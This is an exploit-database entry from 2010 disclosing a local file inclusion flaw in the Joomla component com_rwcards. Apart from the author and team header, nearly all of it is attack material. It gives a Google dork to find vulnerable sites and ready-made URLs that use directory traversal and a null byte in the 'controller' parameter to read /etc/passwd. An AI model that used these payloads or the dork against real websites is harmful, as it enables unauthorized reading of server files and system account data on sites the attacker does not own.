[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Joomla Component com_rwcards - Local File Inclusion
# Published : 2010-03-16
# Author : altbta
# Previous Title : osCMax 2.0 (fckeditor) Remote File Upload
# Next Title : Free Real Estate Contact Form v1.09 - Local File Inclusion
####################################################################
>>>>> Author : altbta [l_9@hotmail.com<mailto:l_9@hotmail.com>]
>>>>> Team : Sec Attack Team
>>>>> Home : www.v4-team.com/cc<http://www.v4-team.com/cc>
>>>>> Script : Joomla Component com_rwcards
>>>>> Bug Type : Local File Inclusion [LFI]
>>>>> Dork : inurl:"com_rwcards"
####################################################################
===[ Exploit ]===
http://site/index.php?option=com_rwcards&view=rwcards&controller=[LFI]
http://site/index.php?option=com_rwcards&view=rwcards&controller=../../../../../../../../../../etc/passwd%00
and
http://site/index.php?option=com_rwcards&controller=[LFI]
http://site/index.php?option=com_rwcards&controller=../../../../../../../../../../etc/passwd%00
####################################################################
RxH & ابو عذاب